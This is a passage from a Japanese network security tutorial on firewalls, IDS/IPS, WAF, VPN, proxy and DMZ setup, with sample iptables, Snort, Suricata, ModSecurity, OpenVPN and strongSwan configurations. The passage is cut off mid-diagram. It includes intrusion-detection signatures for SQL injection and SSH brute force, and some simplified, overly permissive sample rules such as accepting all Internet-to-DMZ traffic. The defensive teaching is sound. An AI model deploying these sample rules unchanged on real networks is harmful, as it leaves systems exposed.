&lt;p&gt;パケットフィルタリングは、ネットワーク層（第3層）でパケットのヘッダ情報（送信元IP、宛先IP、プロトコル、ポート番号など）を検査し、事前に設定されたルールに基づいて通信を許可または拒否する基本的なファイアウォール機能です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;動作原理&lt;/strong&gt;: パケットのヘッダ情報を検査し、ルールに基づいて通過判定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装方法&lt;/strong&gt;: iptables（Linux）、netsh（Windows）、ASA（Cisco）等でルール設定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;（実際の環境に応じて調整が必要）:
&lt;pre&gt;# iptables例：HTTP/HTTPS通信のみ許可
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -j DROP
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用ポイント&lt;/strong&gt;: デフォルト拒否ポリシー、最小権限の原則、定期的なルール見直し&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ダイナミックフィルタリング&lt;/h4&gt;
&lt;p&gt;ダイナミックフィルタリングは、通信の状況やコンテキストに応じて動的にフィルタリングルールを適用・変更する仕組みです。アプリケーションの動作状況や通信パターンを基に、パケットごとに許可・拒否の判断を行います。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;動作原理&lt;/strong&gt;: 通信の状況やアプリケーションの動作に応じて動的にルールを適用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装技術&lt;/strong&gt;: アプリケーション層ゲートウェイ（ALG）、ディープパケットインスペクション（DPI）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;:
&lt;pre&gt;# アプリケーション別制御例
iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -p tcp --dport 21 -m conntrack --ctstate NEW -j ACCEPT
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用ポイント&lt;/strong&gt;: アプリケーション別の通信パターン把握、リアルタイム監視&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ステートフルインスペクション&lt;/h4&gt;
&lt;p&gt;ステートフルインスペクションは、通信ごとのコネクション（セッション）の状態を記録・管理し、その状態に基づいてパケットの通過を制御する仕組みです。TCPのコネクション確立状況や通信の開始・終了を判別し、関連するパケットのみを許可します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;動作原理&lt;/strong&gt;: 通信セッションの状態を記録し、状態に基づいてパケットを制御&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装方法&lt;/strong&gt;: conntrack（Linux）、stateful inspection（Cisco ASA）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;:
&lt;pre&gt;# ステートフルファイアウォール設定
iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m conntrack --ctstate INVALID -j DROP
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用ポイント&lt;/strong&gt;: セッションタイムアウト設定、異常な接続パターンの検知&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.2 侵入検知・防止システム&lt;/h3&gt;
&lt;h4&gt;侵入検知・防止システムとは&lt;/h4&gt;
&lt;p&gt;侵入検知・防止システム（IDS/IPS）は、ネットワーク上やホスト上で発生する不正なアクセスや攻撃の兆候を検知し、必要に応じて自動的に防御措置を講じるセキュリティシステムです。リアルタイムでの脅威検知と対応を可能にします。&lt;/p&gt;
&lt;h4&gt;NIDS（Network Intrusion Detection System）&lt;/h4&gt;
&lt;p&gt;NIDSは、ネットワーク上の通信を監視し、不正なアクセスや攻撃の兆候を検知した際に管理者へ通知するシステムです。通信自体の遮断は行わず、主に監視とアラートが役割となります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;動作原理&lt;/strong&gt;: ネットワークトラフィックを監視し、既知の攻撃パターンや異常な通信を検知&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装方法&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Snort&lt;/strong&gt;: オープンソースのNIDS。ルールベースの検知エンジンで、パケットの内容を解析して攻撃を検知&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Suricata&lt;/strong&gt;: 高性能なマルチスレッドNIDS。ハードウェア加速に対応し、大量トラフィックの処理が可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OSSEC&lt;/strong&gt;: ホストベースの侵入検知システム。ログファイルの監視とファイル整合性チェックを実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装手順&lt;/strong&gt;: 1) ネットワークインターフェースの設定 2) ルールファイルの作成 3) ログ出力の設定 4) 監視開始&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;:
&lt;pre&gt;# Snort設定例
alert tcp any any -&amp;gt; $HOME_NET 80 (msg:"SQL Injection Attempt"; content:"union select"; nocase; sid:1001;)
alert tcp any any -&amp;gt; $HOME_NET 22 (msg:"SSH Brute Force"; flags:S; threshold:type both, track by_src, count 5, seconds 60;)
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用ポイント&lt;/strong&gt;: シグネチャの定期更新、誤検知の調整、ログ分析の自動化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;監視項目&lt;/strong&gt;: 異常な通信パターン、既知の攻撃シグネチャ、プロトコル違反&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;NIPS（Network Intrusion Prevention System）&lt;/h4&gt;
&lt;p&gt;NIPSは、ネットワーク上の通信を監視し、不正な通信を検知した場合に自動的に遮断・排除する機能を持つシステムです。リアルタイムで脅威をブロックできるため、より積極的な防御が可能です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;動作原理&lt;/strong&gt;: ネットワークトラフィックを監視し、脅威を検知した際に自動的に通信を遮断&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装方法&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Suricata IPS&lt;/strong&gt;: オープンソースのIPS。NIDS機能に加えて、パケットの自動遮断機能を提供&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cisco IPS&lt;/strong&gt;: シスコの商用IPS製品。専用ハードウェアで高性能な脅威検知と遮断を実現&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Palo Alto&lt;/strong&gt;: 次世代ファイアウォール。アプリケーション層での詳細な制御と脅威防御を提供&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装手順&lt;/strong&gt;: 1) ネットワーク構成の設計 2) デバイスの物理的設置 3) ポリシー設定 4) 監視・運用体制の構築&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;:
&lt;pre&gt;# Suricata設定例
- action: drop
  rule: alert tcp any any -&amp;gt; $HOME_NET 80 (msg:"Block SQL Injection"; content:"union select"; nocase;)
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用ポイント&lt;/strong&gt;: 自動遮断の精度調整、ビジネス影響の最小化、ホワイトリスト管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注意点&lt;/strong&gt;: 誤検知によるサービス停止リスク、定期的なルール見直し&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;WAF（Web Application Firewall）&lt;/h4&gt;
&lt;p&gt;WAFは、Webアプリケーションへの攻撃（SQLインジェクションやクロスサイトスクリプティングなど）を防ぐためのファイアウォールです。ネットワーク層ではなくアプリケーション層のHTTP/HTTPS通信を解析し、悪意あるリクエストやパターンを検知して遮断・防御します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;動作原理&lt;/strong&gt;: HTTP/HTTPS通信を解析し、Webアプリケーション特有の攻撃パターンを検知・遮断&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装方法&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ModSecurity&lt;/strong&gt;: Apache/Nginx用のオープンソースWAFモジュール。Webサーバに組み込んでHTTPリクエストを検査&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AWS WAF&lt;/strong&gt;: クラウドベースのWAFサービス。AWS環境で簡単に導入・運用可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare&lt;/strong&gt;: CDNとWAFを統合したサービス。DDoS攻撃防御とWebアプリケーション保護を提供&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装手順&lt;/strong&gt;: 1) Webサーバの設定 2) WAFルールの作成 3) テスト環境での動作確認 4) 本番環境への適用&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;:
&lt;pre&gt;# ModSecurity設定例
SecRule ARGS "@detectSQLi" \
  "id:1001,\
  phase:2,\
  block,\
  msg:'SQL Injection Attack Detected',\
  logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用ポイント&lt;/strong&gt;: ルールセットのカスタマイズ、アプリケーション固有の設定、パフォーマンス影響の監視&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保護対象&lt;/strong&gt;: SQLインジェクション、XSS、CSRF、ディレクトリトラバーサル等&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="tech-section"&gt;
&lt;h3&gt;2.3 VPN（Virtual Private Network）技術&lt;/h3&gt;
&lt;h4&gt;VPNの基本概念&lt;/h4&gt;
&lt;p&gt;VPN（Virtual Private Network）は、インターネット上に仮想的な通信網を構築し、安全にデータを送受信するための仕組みです。物理的に離れた拠点間や、リモートワーク環境での安全な通信を実現します。&lt;/p&gt;
&lt;h4&gt;VPNの主要な種類と実装&lt;/h4&gt;
&lt;h4&gt;SSL-VPN（Secure Socket Layer VPN）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;実装方法&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OpenVPN&lt;/strong&gt;: オープンソースのSSL-VPNソリューション。TLS/SSLプロトコルを使用して安全なトンネルを構築&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pulse Secure&lt;/strong&gt;: 商用SSL-VPN製品。企業向けの高機能なリモートアクセスソリューション&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FortiGate&lt;/strong&gt;: Fortinetの統合セキュリティプラットフォーム。VPN機能を統合したUTM製品&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装手順&lt;/strong&gt;: 1) サーバー環境の構築 2) 証明書の生成・配布 3) クライアント設定ファイルの作成 4) 接続テスト&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;:
&lt;pre&gt;# OpenVPN設定例（server.conf）
port 1194
proto udp
dev tun
ca ca.crt
cert server.crt
key server.key
dh dh2048.pem
server 10.8.0.0 255.255.255.0
push "route 192.168.1.0 255.255.255.0"
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用ポイント&lt;/strong&gt;: 証明書管理、クライアント設定の自動化、ログ監視&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;メリット&lt;/strong&gt;: ファイアウォール通過が容易（443番ポート）、クライアント設定が簡単&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デメリット&lt;/strong&gt;: アプリケーション層暗号化によるオーバーヘッド、一部アプリで制限&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;L2TP/IPsec（Layer 2 Tunneling Protocol with IPsec）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;実装方法&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;strongSwan&lt;/strong&gt;: オープンソースのIPsec実装。Linux/Unix環境でIPsec VPNを構築&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Libreswan&lt;/strong&gt;: オープンソースのIPsec実装。Red Hat系Linuxで標準的に使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cisco ASA&lt;/strong&gt;: シスコの統合セキュリティアプライアンス。IPsec VPN機能を統合&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装手順&lt;/strong&gt;: 1) IPsecソフトウェアのインストール 2) 設定ファイルの作成 3) 鍵の生成・交換 4) 接続確立のテスト&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;:
&lt;pre&gt;# strongSwan設定例（ipsec.conf）
conn l2tp-psk
    left=192.168.1.1
    leftprotoport=17/1701
    right=%any
    rightprotoport=17/%any
    type=transport
    authby=secret
    ike=aes256-sha256-modp2048
    esp=aes256-sha256
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用ポイント&lt;/strong&gt;: IKE設定、PSK管理、NATトラバーサル対応&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;メリット&lt;/strong&gt;: 高いセキュリティ、標準化されたプロトコル&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デメリット&lt;/strong&gt;: 設定複雑、ファイアウォール設定必要（UDP 500, 4500）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;OpenVPN&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;実装方法&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OpenVPN Community Edition&lt;/strong&gt;: オープンソース版。個人・小規模環境での利用に適している&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenVPN Access Server&lt;/strong&gt;: 商用版。企業向けの管理機能とサポートを提供&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装手順&lt;/strong&gt;: 1) ソフトウェアのインストール 2) サーバー設定ファイルの作成 3) クライアント設定ファイルの生成 4) 接続テストと運用開始&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;:
&lt;pre&gt;# クライアント設定例（client.ovpn）
client
dev tun
proto udp
remote vpn.example.com 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert client.crt
key client.key
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用ポイント&lt;/strong&gt;: 証明書管理、設定ファイル配布、ログ監視&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;メリット&lt;/strong&gt;: 高い柔軟性、オープンソース、クロスプラットフォーム&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デメリット&lt;/strong&gt;: 設定複雑、パフォーマンス調整必要&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;IPsec VPN&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;実装方法&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;strongSwan&lt;/strong&gt;: オープンソースのIPsec実装。Linux/Unix環境でIPsec VPNを構築&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Libreswan&lt;/strong&gt;: オープンソースのIPsec実装。Red Hat系Linuxで標準的に使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cisco ASA&lt;/strong&gt;: シスコの統合セキュリティアプライアンス。IPsec VPN機能を統合&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Juniper SRX&lt;/strong&gt;: ジュニパーのセキュリティゲートウェイ。企業向けの高機能IPsec VPN&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装手順&lt;/strong&gt;: 1) ハードウェア/ソフトウェアの選定 2) ネットワーク設計 3) 設定ファイルの作成 4) 接続テストと運用開始&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;:
&lt;pre&gt;# IPsec設定例（ipsec.conf）
conn site-to-site
    left=203.0.113.1
    leftsubnet=192.168.1.0/24
    right=203.0.113.2
    rightsubnet=192.168.2.0/24
    ike=aes256-sha256-modp2048
    esp=aes256-sha256
    authby=secret
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用ポイント&lt;/strong&gt;: 暗号化アルゴリズム選択、キー管理、NAT対応&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;メリット&lt;/strong&gt;: 標準化、ハードウェア加速対応&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デメリット&lt;/strong&gt;: 設定複雑、トラブルシューティング困難&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;IPsecの詳細技術と実装&lt;/h4&gt;
&lt;h4&gt;IPsecのトンネルモード&lt;/h4&gt;
&lt;pre&gt;[拠点A] ──┐                    ┌── [拠点B]
          │                    │
          │ 元パケット         │
          │ ┌─────────────┐    │
          │ │IP Header A  │    │
          │ │Payload     │    │
          │ └─────────────┘    │
          │         ↓         │
          │ ESP暗号化         │
          │ ┌─────────────────┐ │
          │ │New IP Header   │ │
          │ │ESP Header      │ │
          │ │Encrypted Data  │ │
          │ └─────────────────┘ │
          │                    │
          └── [Internet] ──────┘
                &lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;実装方法&lt;/strong&gt;: strongSwan、Libreswan、Cisco ASA等&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;:
&lt;pre&gt;# トンネルモード設定例
conn tunnel-mode
    left=203.0.113.1
    leftsubnet=192.168.1.0/24
    right=203.0.113.2
    rightsubnet=192.168.2.0/24
    type=tunnel
    ike=aes256-sha256-modp2048
    esp=aes256-sha256
    authby=secret
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用ポイント&lt;/strong&gt;: 暗号化アルゴリズムの選択、キー管理、NATトラバーサル対応&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;IPsecの主要プロトコル&lt;/h4&gt;
&lt;h4&gt;ESP（Encapsulating Security Payload）&lt;/h4&gt;
&lt;pre&gt;パケット構造:
┌─────────────┬─────────────┬─────────────┬─────────────┐
│ IP Header   │ ESP Header │ Encrypted   │ ESP Trailer │
│             │            │ Data        │ + Auth      │
└─────────────┴─────────────┴─────────────┴─────────────┘
                &lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;実装例&lt;/strong&gt;: AES-256暗号化、SHA-256認証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;:
&lt;pre&gt;esp=aes256-sha256
ike=aes256-sha256-modp2048
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;AH（Authentication Header）&lt;/h4&gt;
&lt;pre&gt;パケット構造:
┌─────────────┬─────────────┬─────────────┐
│ IP Header   │ AH Header   │ Original    │
│             │             │ Data        │
└─────────────┴─────────────┴─────────────┘
                &lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;実装例&lt;/strong&gt;: SHA-256認証のみ（暗号化なし）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: データ改ざん検知、なりすまし防止&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;VPN選択の考慮要素とベストプラクティス&lt;/h4&gt;
&lt;h4&gt;1. セキュリティ要件&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;機密性&lt;/strong&gt;: AES-256暗号化の採用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証&lt;/strong&gt;: 証明書ベース認証（PKI）の実装&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;完全性&lt;/strong&gt;: SHA-256ハッシュ関数の使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ベストプラクティス&lt;/strong&gt;: 定期的な暗号化キーの更新（90日間隔）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. 運用要件&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;管理の複雑さ&lt;/strong&gt;: 自動化ツールの導入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スケーラビリティ&lt;/strong&gt;: 負荷分散の実装&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ベストプラクティス&lt;/strong&gt;: 設定管理の自動化、監視の実装&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. 技術的要件&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;互換性&lt;/strong&gt;: 既存ネットワークとの統合&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パフォーマンス&lt;/strong&gt;: ハードウェア加速の活用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ベストプラクティス&lt;/strong&gt;: 冗長化の実装、障害時の自動切り替え&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. コスト要件&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;初期導入&lt;/strong&gt;: オープンソースの活用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用保守&lt;/strong&gt;: 自動化による運用コスト削減&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ベストプラクティス&lt;/strong&gt;: TCO（総所有コスト）の計算&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;VPN導入時のベストプラクティス&lt;/h4&gt;
&lt;h4&gt;1. セキュリティ設定&lt;/h4&gt;
&lt;div class="code-block"&gt;# 強固な認証設定例 authby=pubkey leftcert=server.crt rightcert=client.crt ike=aes256-sha256-modp2048 esp=aes256-sha256
&lt;p&gt;&lt;strong&gt;ベストプラクティス&lt;/strong&gt;: 多要素認証の実装、定期的な証明書更新&lt;/p&gt;
&lt;h4&gt;2. ネットワーク設計&lt;/h4&gt;
&lt;pre&gt;[本社] ──┐                    ┌── [支社]
          │                    │
          │ 冗長化構成         │
          │ ┌─────────────┐    │
          │ │Primary VPN │    │
          │ │Gateway     │    │
          │ └─────────────┘    │
          │ ┌─────────────┐    │
          │ │Backup VPN  │    │
          │ │Gateway     │    │
          │ └─────────────┘    │
          │                    │
          └── [Internet] ──────┘
                    &lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;ベストプラクティス&lt;/strong&gt;: 冗長化の実装、負荷分散の設定&lt;/p&gt;
&lt;h4&gt;3. 運用管理&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;監視&lt;/strong&gt;: リアルタイム監視の実装&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ログ&lt;/strong&gt;: セキュリティログの分析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ベストプラクティス&lt;/strong&gt;: 自動化による運用効率化&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="tech-section"&gt;
&lt;h3&gt;2.4 その他のセキュリティ技術&lt;/h3&gt;
&lt;h4&gt;その他のセキュリティ技術とは&lt;/h4&gt;
&lt;p&gt;ファイアウォールやIDS/IPS以外にも、ネットワークセキュリティを強化するための様々な技術があります。プロキシサーバ、DMZ、拠点間接続技術など、それぞれ異なる目的と機能を持つ技術を組み合わせることで、包括的なセキュリティ対策を実現できます。&lt;/p&gt;
&lt;h4&gt;プロキシサーバの実装とベストプラクティス&lt;/h4&gt;
&lt;h4&gt;プロキシサーバとは&lt;/h4&gt;
&lt;p&gt;プロキシサーバは、クライアントとインターネットの間に立ち、通信を中継するサーバです。利用者のリクエストをプロキシサーバが受け取り、代理でインターネット上のサーバにアクセスすることで、セキュリティ強化、キャッシュによる通信の高速化、アクセス制御、利用状況の記録などを実現します。&lt;/p&gt;
&lt;h4&gt;アーキテクチャ図&lt;/h4&gt;
&lt;pre&gt;[クライアント] ──┐                    ┌── [インターネット]
                  │                    │
                  │ プロキシサーバ     │
                  │ ┌─────────────┐    │
                  │ │Forward      │    │
                  │ │Proxy        │    │
                  │ └─────────────┘    │
                  │ ┌─────────────┐    │
                  │ │Reverse      │    │
                  │ │Proxy        │    │
                  │ └─────────────┘    │
                  │                    │
                  └── [内部ネットワーク] ─┘
                &lt;/pre&gt;
&lt;h4&gt;実装方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Forward Proxy&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Squid&lt;/strong&gt;: オープンソースのプロキシサーバ。Webキャッシュとアクセス制御機能を提供&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apache HTTP Server&lt;/strong&gt;: mod_proxyモジュールを使用してプロキシ機能を実装&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reverse Proxy&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nginx&lt;/strong&gt;: 高性能なWebサーバ・リバースプロキシ。負荷分散とSSL終端機能を提供&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apache HTTP Server&lt;/strong&gt;: mod_proxy_balancerモジュールでロードバランシング機能を実装&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HAProxy&lt;/strong&gt;: 高可用性ロードバランサー。TCP/HTTPレベルの負荷分散を提供&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装手順&lt;/strong&gt;: 1) プロキシソフトウェアのインストール 2) 設定ファイルの作成 3) アクセス制御ルールの設定 4) テストと運用開始&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;:
&lt;pre&gt;# Nginx Reverse Proxy設定例
server {
    listen 80;
    server_name example.com;
    
    location / {
        proxy_pass http://backend;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ベストプラクティス&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ&lt;/strong&gt;: SSL/TLS終端、アクセス制御の実装&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パフォーマンス&lt;/strong&gt;: キャッシュの最適化、負荷分散の設定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;監視&lt;/strong&gt;: ログ分析、パフォーマンス監視の実装&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;DMZ（DeMilitarized Zone）の設計と実装&lt;/h4&gt;
&lt;h4&gt;DMZとは&lt;/h4&gt;
&lt;p&gt;DMZ（DeMilitarized Zone、非武装地帯）は、社内ネットワークと外部のインターネットの間に配置される中間のネットワーク領域です。DMZ内にはウェブサーバやメールサーバなど、外部からのアクセスが必要なサーバを設置し、万が一外部から攻撃を受けても、社内ネットワークへの直接的な侵入を防ぐことが可能です。&lt;/p&gt;
&lt;h4&gt;ネットワーク構成図&lt;/h4&gt;
&lt;pre&gt;[インターネット] ──┐
                    │
                    │ 外部ファイアウォール
                    │ ┌─────────────┐
                    │ │FW1          │
                    │ └─────────────┘
                    │
                    │ DMZ
                    │ ┌─────────────┐
                    │ │Web Server   │
                    │ └─────────────┘
                    │ ┌─────────────┐
                    │ │Mail Server  │
                    │ └─────────────┘
                    │
                    │ 内部ファイアウォール
                    │ ┌─────────────┐
                    │ │FW2          │
                    │ └─────────────┘
                    │
                    │ 内部ネットワーク
                    │ ┌─────────────┐
                    │ │DB Server    │
                    │ └─────────────┘
                &lt;/pre&gt;
&lt;h4&gt;実装方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ファイアウォール設定&lt;/strong&gt;: 外部FW、内部FWの分離&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ネットワーク分離&lt;/strong&gt;: VLAN、サブネットの分離&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;:
&lt;pre&gt;# iptables DMZ設定例
# 外部FW（FW1）
iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT  # Internet → DMZ
iptables -A FORWARD -i eth1 -o eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT

# 内部FW（FW2）
iptables -A FORWARD -i eth1 -o eth2 -p tcp --dport 80 -j ACCEPT  # DMZ → Internal
iptables -A FORWARD -i eth2 -o eth1 -m state --state ESTABLISHED,RELATED -j ACCEPT
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ベストプラクティス&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ&lt;/strong&gt;: 最小権限の原則、定期的なセキュリティ監査&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可用性&lt;/strong&gt;: 冗長化の実装、障害時の自動切り替え&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;監視&lt;/strong&gt;: リアルタイム監視、ログ分析の自動化&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;拠点間接続の選択肢とベストプラクティス&lt;/h4&gt;
&lt;h4&gt;接続方式の比較&lt;/h4&gt;
&lt;pre&gt;[本社] ──┐                    ┌── [支社]
          │                    │
          │ 接続方式選択       │
          │ ┌─────────────┐    │
          │ │VPN Tunnel   │    │
          │ │(Internet)   │    │
          │ └─────────────┘    │
          │ ┌─────────────┐    │
          │ │専用線       │    │
          │ │(Leased Line)│    │
